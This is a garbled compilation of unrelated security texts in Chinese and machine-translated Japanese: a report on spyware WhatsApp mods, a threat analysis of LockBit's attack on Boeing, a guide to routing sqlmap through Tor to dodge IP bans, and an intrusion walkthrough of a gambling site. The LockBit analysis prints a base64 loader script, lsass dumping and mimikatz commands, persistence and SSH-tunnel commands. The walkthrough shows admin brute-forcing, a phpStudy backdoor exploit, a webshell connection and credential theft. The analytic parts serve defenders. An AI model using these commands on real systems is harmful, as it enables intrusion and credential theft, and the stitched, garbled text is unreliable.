WhatsApp間諜mod的攻擊目標在發現WhatsAppmod中的間諜mod後,研究人員決定找出它們是如何傳播的。分析發現,Telegram是主要來源。研究人員發現了一些Telegram通道,主要是阿拉伯語和阿塞拜疆語,其中最受歡迎的節目就有近200萬訂閱者。研究人員提醒Telegram,這些通道被用來傳播惡意軟件。

5.png

在從每個通道下載最新版本的mod (1db5c057a441b10b915dbb14bba99e72, fe46bad0cf5329aea52f8817fa49168c, 80d7f95b7231cc857b331a993184499d)後,研究人員發現它們包含上述間諜mod,這驗證了假設。

鑑於惡意軟件組件不是原始mod的一部分,研究人員檢查了幾個最近的版本,並確定了第一個被攻擊的版本。根據調查結果,該間諜軟件自2023年8月中旬以來一直活躍。在撰寫本文時,自那時以來在通道上發布的所有版本都包含惡意軟件。然而,後來(如果根據APK中的時間戳判斷,大約在10月20日左右),至少一個通道中的至少一個最新版本被替換為一個乾淨的版本。

6.png

受攻擊應用程序中的DEX時間戳(左)和未攻擊版本中的DEX時間戳(右)

除了Telegram渠道,受攻擊的mod還通過各種可疑的網站傳播,這些網站專門用於修改WhatsApp。

新型WhatsApp間諜軟件的攻擊範圍10月5日至31日期間,卡巴斯基安全解決方案在100多個國家發現了34萬多次由WhatsApp間諜mod發起的攻擊。不過,如果考慮到傳播渠道的性質,實際安裝數量可能會高得多。攻擊次數最多的五個國家是阿塞拜疆、沙特阿拉伯、也門、土耳其和埃及。

7.png

按發現的WhatsApp間諜mod攻擊次數排名的前20個國家

總結研究人員看到包含惡意軟件代碼的即時通訊應用mod數量有所增加。 WhatsApp的mod大多是通過第三方Android應用商店傳播的,這些應用商店往往缺乏篩選,無法清除惡意軟件,其中如第三方應用商店和Telegram通道,很受歡迎。但為避免丟失個人數據,建議只使用官方即時通訊客戶端;如果用戶需要額外的功能,建議使用一個可靠的安全解決方案,可以檢測和阻止惡意軟件,以防被mod攻擊。

封面图.jpg

1 前言2016年前後,勒索攻擊的主流威脅形態已經從勒索團伙傳播擴散或廣泛投放勒索軟件收取贖金,逐漸轉化為RaaS+定向攻擊收取高額贖金的運行模式。 RaaS為Ransomware as a Service(勒索即服務)的縮寫,是勒索團伙研發運營的勒索攻擊基礎設施,包括可定制的破壞性勒索軟件、竊密組件、勒索話術和收費通道等。各種攻擊團伙和個人租用RaaS攻擊基礎設施,在獲得贖金後,與RaaS攻擊組織分賬結算。在眾多勒索攻擊組織中,LockBit組織最為活躍,從其公佈的數據顯示,LockBit的RaaS支撐了上千起的攻擊活動,並因一例涉及中資企業海外機構案例被國內外廣泛關注。

為有效應對RaaS+定向勒索風險,防御者需要更深入地了解定向勒索攻擊的運行機理,才能構建有效的敵情想定,針對性的改善防禦和響應能力。因此,擇取典型案例,對此類攻擊進行深度复盤極為重要。但由於相關涉我案例的分析支撐要素並不成熟,安天CERT在其他近期重大攻擊案例中進行了篩選,選擇了同樣與LockBit組織相關,且可參考信息相對豐富的波音公司遭遇定向勒索攻擊事件(以下簡稱本事件)展開了完整復盤分析。安天CERT長期關注和分析勒索攻擊,對LockBit等攻擊組織的持續關注,形成了較為系統的分析積累,依托安天賽博超腦平台的情報數據,CISA等機構對本事件公佈的相關公開信息展開工作。從攻擊過程還原、攻擊工具清單梳理、勒索樣本機理、攻擊致效後的多方反應、損失評估、過程可視化复盤等方面開展了分析工作,並針對事件中暴露的防禦側問題、RaaS+定向勒索的模式進行了解析,並提出了防禦和治理方面的建議。

2 事件背景和報告形成的過程2023年10月下旬,波音公司成為了RaaS+定向勒索攻擊的受害者[1]。由於LockBit是通過RaaS模式運營的攻擊組織,本次攻擊事件的實際攻擊者暫時無法確認。 2023年10月27日,LockBit所屬的受害者信息發布平台發消息聲稱竊取了波音的大量敏感數據,並以此脅迫波音公司,如果不在2023年11月2日前與LockBit組織取得聯繫,將會公開竊取到的敏感數據。此後,波音一度從受害者名單中消失,直至11月7日,LockBit組織再次將波音公司列入受害者名單中,並聲稱波音公司無視其發出的警告,威脅要發布大約4GiB的數據。可能因雙方談判失敗,LockBit組織於11月10日公開發布了從波音公司竊取到的21.6 GiB數據(媒體報導為43 GiB,系重複計算了壓縮包和展開後的數據)。

安天長期持續跟踪和響應了從勒索軟件傳播到定向勒索攻擊的活動演進。在歷史分析成果中,對“勒索軟件和蠕蟲的合流”、“定向勒索將接近APT攻擊水準”等,都發出了風險預警(參見附錄四)。針對LockBit的本次攻擊波,安天於11月17日以《LockBit 勒索软件样本分析及针对定向勒索的防御思考》 [2]為題,發布了本報告的V1.0版。由於當時缺少相對豐富的信息,在技術層面僅展開了樣本分析工作,並未進行攻擊過程复盤。波音公司被勒索攻擊之後,美國網絡安全和基礎設施安全局(CISA)對事件進行了取證調查,並於2023年11月21日發布了相關報告[3],相關報告給出了高質量的形式化情報,為分析复盤攻擊事件提供了極為重要的參考,我們結合歷史工作積累其他開源情報和對本報告進行完善。

3 LockBit攻擊組織的歷史情況和部分歷史攻擊事件3.1 組織基本情況LockBit組織最早於2019年9月被發現,因其加密後的文件名後綴為.abcd,而被稱為ABCD勒索軟件;該組織在2021年6月發布了勒索軟件2.0版本,增加了刪除磁盤捲影和日誌文件的功能,同時發布專屬數據竊取工具StealBit,採用“威脅曝光(出售)企業數據+加密數據”雙重勒索策略;2021年8月,該組織的攻擊基礎設施頻譜增加了對DDoS攻擊的支持;2022年6月勒索軟件更新至3.0版本,由於3.0版本的部分代碼與BlackMatter勒索軟件代碼重疊,因此LockBit 3.0又被稱為LockBit Black,這反映出不同勒索攻擊組織間可能存在的人員流動、能力交換等情況。使用LockBit RaaS實施攻擊的相關組織進行了大量攻擊作業,通過第三方獲取訪問憑證、漏洞武器化和搭載其他惡意軟件等方式入侵至受害者係統後投放勒索軟件,大量受害者遭受勒索和數據洩露。

LockBit攻擊組織在2022年實施的多次勒索攻擊活動及影響突顯了其為該年度全球最活躍的勒索攻擊組織,甚至主動採取了傳播和PR活動。該組織面向Windows、Linux、macOS、以及VMware虛擬化平台等多種主機系統和目標平台研發勒索軟件,其生成器通過簡單交互即可完成勒索軟件定制。 LockBit勒索軟件僅對被加密文件頭部的前4K數據進行加密,因此加密速度明顯快於全文件加密的其他勒索軟件,由於在原文件對應扇區覆蓋寫入,受害者無法通過數據恢復的方式來還原未加密前的明文數據。

表3‑1 LockBit攻擊組織基本情況

表1.png

LockBit勒索組織的RaaS服務成為攻擊者實施網絡勒索行為的犯罪工具。這些攻擊者通過利用多種手段,其中包括第三方獲取訪問憑證、漏洞武器化,以及搭載其他惡意軟件等方式,成功實現對受害系統的初始訪問。一旦入侵成功,攻擊者的下一步行動通常涉及竊取數據文件,並隨後投放LockBit勒索軟件,將目標系統的數據文件進行加密,繼而實施勒索。

3.2 歷史勒索攻擊情況LockBit勒索組織的規模龐大,擁有眾多附屬成員。其Tor網站幾乎每天都在更新,新增來自世界各地的受害者信息。這個組織採用了一種雙重勒索策略,即“威脅曝光企業數據+加密數據勒索”,進一步加劇了攻擊的危害程度。在Tor網站上,LockBit組織已經發布了超過2200條受害企業信息,僅在2023年,已經發布了1000餘條受害企業信息。這僅僅是公開信息,而實際受害企業數量可能遠超過這個數字。值得關注的是,攻擊者與受害企業有時會選擇通過私下談判的方式解決問題,而不在Tor上公開受害企業信息。這意味著實際受害企業數量可能遠遠超過已公開的信息,這加劇了LockBit組織對企業和機構的網絡安全威脅。

表3‑2 遭遇LockBit勒索攻擊的典型事件清單

時間

受害單位

影響

2021年8月

愛爾蘭IT諮詢公司埃森哲

竊取約6 TiB數據,要求支付5000萬美元贖金

2022年1月

法國泰雷茲集團

部分數據被公開;同年11月再次遭受勒索攻擊,公開竊取的約9.5 GiB數據

2022年2月

普利司通美洲分公司

公司暫停部分工作運營,受害系統數據被竊

2022年6月

美國數字安全公司Entrust

部分數據被竊取

2022年7月

法國電信運營商La Poste Mobile

導致部分系統關停,官方網站關停10余天,部分用戶信息被公開

2022年10月

巴西利亞銀行

部分數據被竊取,要求支付50 BTC贖金

2022年11月

德國大陸集團

竊取約40 GiB數據,要求支付5000萬美元贖金

2022年12月

美國加州財政部

竊取約76 GiB數據

2023年1月

英國皇家郵政

國際出口服務中斷,約45 GiB數據被竊取,要求支付8000萬美元贖金

2023年6月

台積電供應商擎昊科技

部分數據被竊取,要求支付7000萬美元贖金

2023年8月

加拿大蒙特利爾市電力服務委員會

竊取約44 GiB數據

2023年10月

美國波音公司

竊取約21.6 GiB數據

4 事件過程完整復盤分析為了讓防御者更深入了解定向勒索攻擊的運行機理,有針對性的改善防禦和響應能力,安天CERT以對LockBit攻擊組織的歷史分析成果為基礎,參考CISA取證報告等開源情報,綜合運用多種分析方法和手段,對LockBit組織針對波音公司的勒索攻擊進行了复盤,分析了勒索樣本,梳理了攻擊工具清單,對攻擊致效後的情況和損失進行了分析,並對攻擊殺傷鏈與技戰術圖譜進行了分析。

4.1 攻擊過程复盤步驟1:LockBit勒索組織(後稱攻擊者)針對波音公司的Citrix NetScaler ADC 和NetScaler Gateway 設備發動漏洞利用攻擊,竊取有效用戶的訪問cookie。該漏洞無需額外權限,攻擊者可在不需要任何權限的前提下,構造特定的數據包造成緩衝區溢出,可從Citrix NetScaler ADC 和NetScaler Gateway 中越界檢索身份驗證會話cookie等信息,通過cookie繞過身份驗證,獲取系統web登錄權限,通過web功能配置植入木馬進行信息竊取或勒索軟件進行勒索攻擊。

Citrix NetScaler ADC 和NetScaler Gateway 均提供網關服務,其web管理界面可對http、dns進行詳細的管理和配置,可篡改用戶數據實現投毒,可對插件進行惡意更換,用戶安裝被惡意更換的插件後即可被控。

图 4-1 Citrix 配置界面.png

圖4‑1 Citrix配置界面

步驟2:攻擊者利用竊取的cookie實現對波音公司邊界服務器的訪問,植入運行腳本123.ps1,實現釋放並執行Downloader木馬,從C2中下載各種遠程軟件、腳本、網絡掃描等武器裝備,Downloader可遠程獲取的裝備清單如表4-1所示。

123.ps1腳本內容如下,功能為拼接base64編碼,解碼生成adobelib.dll文件(Downloader木馬),以特定十六進製字符串作為參數加載該Downloader木馬:

$y='TVqQAAMA.

$x='RyEHABFQ.

$filePath='C:\Users\Public\adobelib.dll'

$fileBytes=[System.Convert]:FromBase64String($y+$x)

[System.IO.File]:WriteAllBytes($filePath,$fileBytes)

rundll32C:\Users\Public\adobelib.dll,mained5d694d561c97b4d70efe934936286fe562addf7d6836f795b336d9791a5c44表4‑1 攻擊裝備列表

攻擊裝備

123.ps1(初始腳本)

processhacker.exe(結束進程及服務)

psexec.exe(遠程命令執行)

AnyDesk(遠程控制軟件)

ad.ps1(域環境信息收集)

mimikatz.exe(憑證獲取)

tniwinagent.exe(信息收集)

Splashtop(遠程控制軟件)

veeam-get-creds.ps1(憑證收集)

proc.exe(進程dump)

Zoho(遠程控制軟件)

Action1(遠程控制軟件)

secretsdump.py(憑證收集)

netscan.exe(網絡掃描)

ConnectWise(遠程控制軟件)

Atera(遠程控制軟件)

sysconf.bat(執行plink)

servicehost.exe(建立SSH隧道工具-plink)

Screenconnect(遠程控制軟件)

fixme it(遠程控制軟件)

步驟3:攻擊者將惡意dll文件配置為計劃任務和將AnyDesk遠程軟件配置成服務來實現持久化訪問該入口。 AnyDesk是一款由德國公司AnyDesk Software GmbH推出的遠程桌面軟件。用戶可以通過該軟件遠程控制計算機,同時還能與被控制的計算機之間進行文件傳輸,主要應用於客戶日常運維和業務相關主機的遠程管理。這一軟件是常用網管工具、由正規軟件研發企業發布,且有對應廠商數字簽名,往往被作為白名單軟件。但這也使攻擊組織在活動中利用這類軟件的遠程管理功能實現持久訪問、文件傳輸,並利用其是合法簽名執行體來規避檢測。

服務創建及計劃任務添加所使用的命令如下:

schtasks.exe/create/tn'UpdateAdobeTask'/scMINUTE/mo10/tr''Mag.dll''/f

sccreateAnyDeskbinpath=c:\perflogs\AnyDeskMSI.exetype=ownstart=autodisplayname=AnyDesk安天AVL SDK 反病毒引擎檢測到AnyDesk後,會反饋輸出Riskware/Win32. AnyDesk作為命名,便於提醒網管判斷是正常應用還是攻擊者投放。

步驟4:攻擊者使用合法的網絡掃描工具探測目標內部網絡服務,通過ADRecon腳本(ad.ps1)收集AD域信息,利用tniwinagent工具(信息收集)收集其他主機信息。 ADRecon 是由澳大利亞信息安全服務提供商Sense of Security開發的一種收集有關Active Directory 信息並生成報告的工具,該報告可以提供目標AD 環境當前狀態的整體情況。該工具採用PowerShell腳本語言編寫,於2018年在Github開源。基於域環境信息收集功能,易被攻擊者利用,其中FIN7黑客組織曾使用過該工具[4]。

安天AVL SDK 反病毒引擎檢測到的ADRecon後,會反饋輸出HackTool/PowerShell.ADRecon作為命名,便於提醒網管判斷是正常應用還是攻擊者投放。

步驟5:攻擊者使用proc.exe(進程dump)工具獲取lsass.exe進程內存,結合Mimikatz工具獲取系統中的各類憑證;使用veeam-get-creds.ps1腳本從波音公司的veeam平台中獲取保存的憑證;使用secretsdump.py從波音公司的Azure VM上獲取各種賬號數據庫文件及註冊表信息。相關使用命令如表4-2所示。

表4‑2 憑證竊取操作信息表

命令作用

命令內容

轉儲lsass進程內存

proc.exe -accepteula -ma lsass.exe c:\perflogs\lsass.dmp

從lsass進程轉儲文件中提取憑證

mimikatz.exe 'sekurlsa:minidump c:\perflogs\lsass.dmp ' 'sekurlsa:logonPasswords full'

從veeam平台中提取憑證

.\veeam-get-creds.ps1

從Azure VM平台中收集憑證

secretsdump.py

Mimikatz(Mimikatz)是一款黃帽子(黑客)工具,最初由法國黑客Benjamin Delpy開發,並於2011年首次發布,該工具除了可執行文件版本外還存在腳本類型版本。 Mimikatz的主要功能是獲取和操控Windows操作系統中的憑證,如用戶登錄密碼、Windows登錄憑據(NTLM哈希和Kerberos票據)以及各種應用程序和服務的憑證。 Mimikatz設計的目的是揭示Windows系統中密碼和憑證管理的薄弱點,並用於安全專業人員的演示和教育目的。然而,由於其功能強大且廣泛被黑客所利用,Mimikatz也被視為危險的工具,用於進行惡意攻擊、數據竊取和潛在的勒索活動。憑藉其高度靈活和兼容性,Mimikatz已被APT組織或網絡犯罪組織應用於攻擊活動中,其中安天於2020年監測到苦象組織使用PowerShell腳本形式的Mimikatz工具[5]。

安天AVL SDK 反病毒引擎檢測到的Mimikatz後,會反饋輸出HackTool/Win32.Mimikatz、HackTool/Win64.Mimikatz或Trojan/PowerShell.Mimikatz作為命名,便於提醒網管判斷是正常應用還是攻擊者投放。

ProcDump 是一個命令行實用程序,是Sysinternals Suite 系統組件的一部分,其主要目的是監視應用程序的CPU 峰值並在峰值期間生成故障轉儲,管理員或開發人員可以使用它來確定峰值的原因。 ProcDump 還包括掛起窗口監視(使用與Windows 和任務管理器使用的窗口掛起相同的定義)、未處理的異常監視,並且可以根據系統性能計數器的值生成轉儲。它還可以用作通用進程轉儲實用程序,將其嵌入到其他腳本中。在本次事件中,該工具被攻擊者利用其白名單特性及進程轉儲功能,結合Mimikatz工具獲取系統憑證。

安天AVL SDK 反病毒引擎檢測到對應版本的ProcDump後,會反饋輸出RiskWare/Win32.ProcDump或RiskWare/Win64.ProcDump作為命名,便於提醒網管判斷是正常應用還是攻擊者投放。

步驟6:攻擊者利用獲取的各種憑證結合Psexec工具(遠程命令執行),在波音內部網絡其他主機上部署各種遠程軟件,獲取更多其他服務器及主機的訪問權限。 Psexec是一個命令行網絡管理工具,是Sysinternals Suite系統組件的一部分,其調用了Windows系統的內部接口,以遠端Windows主機賬戶名、密碼和要執行的本地可執行文件為輸入參數,基於RPC$服務實現,將本地可執行文件推送到遠端主機執行,其設計初衷是為了便於網絡管理人員以實現敏捷的遠程運營。但由於其作為命令行工具便於被調用封裝,也導致極易被攻擊者作為攻擊工具使用,在完成口令破解後,實現一次性投放執行。早在2003年,廣泛出現大量基於空口令和常見口令進行傳播的系列“口令蠕蟲”,大部分都使用了這個機制。特別是出品該系統組件的Sysinternals的團隊在2006年7月18日被微軟收購,導致其後續版本都帶有微軟的數字簽名,所以也連帶導致其會被較大比例的安全軟件放行。

安天AVL SDK反病毒引擎檢測到對應版本的Psexec後,會反饋輸出RiskWare/Win32.Psexec或RiskWare/Win64.Psexec作為命名,便於提醒網管判斷是正常應用還是攻擊者投放。

步驟7:利用遠程訪問軟件傳輸步驟4至步驟6涉及的各種工具,循環執行步驟4至步驟6的各種操作,盡可能獲取更多服務器及主機的訪問權限。

步驟8:從已控制的系統中收集各種信息(包括備份文件等),並使用7z.exe工具進行壓縮。

步驟9:通過plink.exe工具建立的SSH隧道回傳數據;通過FTP協議回傳數據(193.201.9[.]224);通過遠程控制軟件回傳數據。 plink.exe工具是PuTTY軟件中的一個組件,主要功能類似於Linux系統上的ssh命令行工具,用於SSH連接遠程主機,同時提供多種方式創建或管理SSH會話。由於其屬於PuTTY軟件的一個組件,具備數字簽名,能夠規避以數字簽名作為白名單檢測機制的終端防護軟件的檢測。

攻擊者使用如下命令格式實現SSH隧道建立:

echoenter|c:\windows\servicehost.exe-ssh-r8085:127.0.0.1:8085

步驟10:結束相關主機的數據庫服務及進程、殺毒軟件、其他阻礙勒索加密的進程。

攻擊者使用如下命令結束相關進程及服務:

cmd.exe/q/ctaskkill/f/imsqlwriter.exe/im

winmysqladmin.exe/imw3sqlmgr.exe/imsqlwb.exe/imsqltob.exe

/imsqlservr.exe/imsqlserver.exe/imsqlscan.exe/imsqlbrowser.exe

/imsqlrep.exe/imsqlmangr.exe/

imsqlexp3.exe/imsqlexp2.exe/imsqlex

步驟11:將LockBit 3.0勒索軟件通過遠程控制軟件部署到目標主機(數據價值高的、業務重要性強的)中並執行,實現加密勒索。對目標加密完成後,釋放勒索信並修改桌面背景用以提示受害者,便於受害者根據勒索信中預留的聯繫方式與攻擊者進行談判,談判內容包括支付贖金的數額和支付方式等。勒索軟件及勒索信分析詳見下節。

图 4-2 勒索信中的联系方式.png

圖4‑2勒索信中的聯繫方式

4.2 攻擊工具清單梳理在本次攻擊事件中,攻擊者利用Citrix設備相關的CVE-2023-4966漏洞作為突破口,入侵後組合利用多種攻擊裝備實現網絡攻擊,例如使用多種帶有數字簽名的遠程控制軟件與受害系統建立遠程連接,實現傳播其他攻擊裝備;利用Process Hacker實現禁用和卸載與安全軟件有關的進程和服務;通過ProcDump工具轉儲進程內存,結合Mimikatz實現憑證獲取,使用NetScan進行網絡掃描,用以發現與網絡有關的信息等,攻擊裝備具體使用情況見下表:

表4‑3 攻擊裝備使用情況

裝備類型

名稱

裝備來源

備註

漏洞利用

Citrix Bleed(CVE-2023-4966)

自研漏洞利用代碼

Citrix NetScaler ADC 和NetScaler Gateway 設備的軟件漏洞

腳本

123.ps1

自研腳本

解碼並釋放Downloader木馬

ad.ps1

開源腳本(Github)

AD域偵察腳本,收集域內各種信息

veeam-get-creds.ps1

開源腳本(Github)

從Veeam平台獲取保存的憑證信息

secretsdump.py

開源腳本(Github)

從Azure VM上獲取各類賬戶數據庫信息(憑證)

sysconf.bat

自研腳本

用於執行plink

黑客工具

processhacker.exe

公開軟件

禁用和卸載與安全軟件有關的進程和服務

mimikatz.exe

開源軟件

從內存和進程轉儲文件中獲取憑證

進程轉儲

proc.exe

公開軟件

通過ProcDump工具轉儲lsass.exe內存,結合Mimikatz實現憑證獲取

網絡掃描

netscan.exe

公開軟件

重命名Softperfect公司的網絡掃描軟件,實現網絡掃描功能

端口轉發

servicehost.exe

公開軟件

重命名的plink(PuTTY Link),用於端口轉發建立SSH隧道

遠程執行

psexec.exe

公開軟件

用於遠程部署特定程序

TNI客戶端

tniwinagent.exe

公開軟件

用於發現

在SQLMAP注入过程中,始终禁止IP。面对很多阿姨,只能没有代理池就放弃吗?

用户工具:

小型飞机,代理商,TOR浏览器,TOR IP更换器(门户网站),SQLMAP

操作步骤:

首先连接到小平面

2

配置代理商

配置代理服务器

3

配置代理规则

4

您已经处于全球代理状态

5

配置和打开Tor浏览器(请勿关闭)

6

打开TOR IP更换器

单击TOR服务器- 启动,并等待软件自动配置它

单击选项- 设置- 间隔(IP开关间隔时间,越快的速度越稳定) - 保存

单击IP更换器- 启动,如下图所示,它是成功的

7

sqlmap命令

1 sqlmap.py -u url -tor -tor-tor-type='Socks5'

参考文章:

使用此方法可大大提高匿名性和安全性,但成本是牺牲一些速度和稳定性。

https://www.freebuf.com/column/171981.html

1。情報収集

ターゲットWebサイトを取得すると、非常に従来のBCサイトであることが示されています。

まず、シンプルな情報収集を実行でき、PHPバージョンとWindowsのサービングの2つのより重要な情報をWappalyzerプラグインを通じて見ることができます。

图片コマンドラインnslookup+url IPを表示するには、CDNが見つかりません

图片ラブステーションに行き、見てください

图片さて、カンボジアは大丈夫です

IPアドレスを知った後、ポートスキャンは1つのウェーブです(フルポートスキャン +サービス検出。このプロセスは比較的長い、最初に何か他のことをすることができます)

图片

スキャン後、リモートデスクトップ3389に接続してみてください(最初はWindowsが提供されているサーバーであることがわかりました)

图片は、ポートが変更されたと推測して、ログインIPホワイトリストを推測して2回試しましたか?

2。舞台裏の爆発

Webに戻り、バックハンドでURLの後に管理者を追加します

图片バックエンドが出てきました、このBCは少し悲惨です、私はいくつかの弱いパスワードをランダムにテストしましたが、それは実りがありませんでした

確認する検証コードがないことがわかり、パケットをキャッチして爆発しました。

图片従来の弱いパスワードを見つけるのに十分です。

图片パスワードは数秒でリリースされます:123456、私は嘔吐し、それらの操作とメンテナンスは死に至ることがあります

图片 图片

3。アップロードポイントを見つけます

バックエンドを単純に削除すると、確かに満足しません。

背景のさまざまな機能を大まかに閲覧し、使用する場所を探し、システム管理オフィスにアップロードポイントを見つけました

图片(私のいとこはあなたに領収書コードを送りましたか?金持ちになる機会はここにあります!)

何気なく文を書いて、接尾辞を.jpgに変更し、パケットをつかんで、表示するためにリピーターに送信します

图片「リアル画像タイプではない」とプロンプト、パッケージのPHPサフィックスに変更して、違法なファイルタイプを求めて

图片ホワイトリスト +ファイルヘッダーの確認のように感じます。写真馬を試してみてください

图片はいくつかの波を試しましたが、ホワイトリストは非常に真剣に制限されていましたが、それはありませんでした。

突然行き詰まっていたので、別のブレークスルーを見つける方が良いでしょう

iv。ピークループターン

私はそれについて注意深く考えました。 Windows、Windowsの主流のWebサイトビルディングツール、パゴダ、ガードゴッド、Phpstudy、およびupupwです。私はそのPHPバージョンが前に5.2.17であったことを見ました、そして、私はたまたましばらく前に発生したPHPStudyの2つのバックドアを考えました。バックドアは、PHP-5.4.45とPHP-5.2.17の2つのバージョンに存在します。今すぐテストしてください

图片 图片 Accept-Encoding3: gzip、deflate、削除、GZIPの中央のスペースを削除し、リクエストパッケージでデフレート

以下に文を追加します:accept-charset:+ base64実行されたコマンドのエンコーディング

私はショックを受けました。私は本当にphpstudyを使用してウェブサイトを構築しました。ウェブマスターはあまりにも心配です。次のことはずっと簡単です。

5。アリの剣にはファイルシェル接続がありません

图片エンコーダーをbase64に変更することを忘れないでください

次に、文をエンコードしてbase64をコピーして、accept-charset:の後ろにコピーします

图片アリの剣のリクエスト情報を変更し、以下に示すようにヘッダーヘッドを変更する

图片テスト接続、接続に成功しました

图片 图片それが直接システムの許可であることがわかりました。

6。ミミカッツをアップロードしてハッシュ

をつかみます

图片新しいディレクトリを作成し、winrar.exe+mimikatzをアップロードします

图片アップロードされたwinrarを減圧する、コマンド:winrar.exe e x64.rar

图片 MIMI.BATを実行して、ここで説明してみましょう。以下の画像の後に出口を追加するのが最善であると、Mimikatzはログを書き続け、ログファイルが大きく大きくなります。私はその時にそのような間違いを犯しました。

图片 图片生成されたmimikatz.logをWebサイトのルートディレクトリにコピーして、それを表示します

图片管理者のRDPパスワードを正常にキャプチャしました。

前にスキャンしたフルポートを振り返って、私もスキャンしました

图片は、合計3つのポートが開いていることを示しており、一般的にポート3389が変更されています。 NMAPを使用して-SVパラメーターをスキャンして追加すると、スキャンされたRDPサービスは通常、SSL/不明として表示されます。

リモートデスクトップ接続を試してください

图片 heheheは、正常にログインし、サーバーを倒し、タバコに火をつけ、すべての証拠を詰め込み、電話を取り出して110と呼ばれる

7。要約

ウェブシェルを取得すると、データやソースコードを取得したい場合、包丁またはアリの剣を使用してパッケージ化しますが、現時点では、パッケージの障害や不完全包装など、多くの問題が発生します。

現時点では、相手がWindowsサーバーの場合、ローカルにインストールされているwinrar.exeをアップロードできます。

图片圧縮ディスクの下のDATフォルダーとbat.rarwinrar.exe a -ag -k -r -s -ibck C3:/bak.rar C:/dat/

複数のファイルを圧縮するwinrar a -ag -ibck bak.rar filename1 filename2 filename .

パラメーター説明:A:バックアップすべてのファイル。 -ag:圧縮ファイルを作成する場合、現在の日付文字列を「yyyymmddhhmmss」とファイル名Bakyyymmddhhmmss.rarに添付します。 -K:圧縮ファイルをロックします。 -R:バックアップディレクトリとサブディレクトリ。 -S:固体圧縮ファイルを作成します。 -IBCK:はバックグラウンドで実行されます。

filename1:圧縮されるファイル名は複数であるか、ワイルドカードファイル*を使用できます。

元のリンクアドレスで転載: https://mp.weixin.qqc.com/s?__biz=mzg2ndywmda1na=mid=2247485789Idx=2Sn=a1a3c9fc97eeab0b5e5bd3d311e 3FAE6CHKSM=CE67A3C4F9102AD21CE5C895D364B4D094391D2369EDFC3AFCE63ED0B155F8DB1C86FA6924F1CENE=21##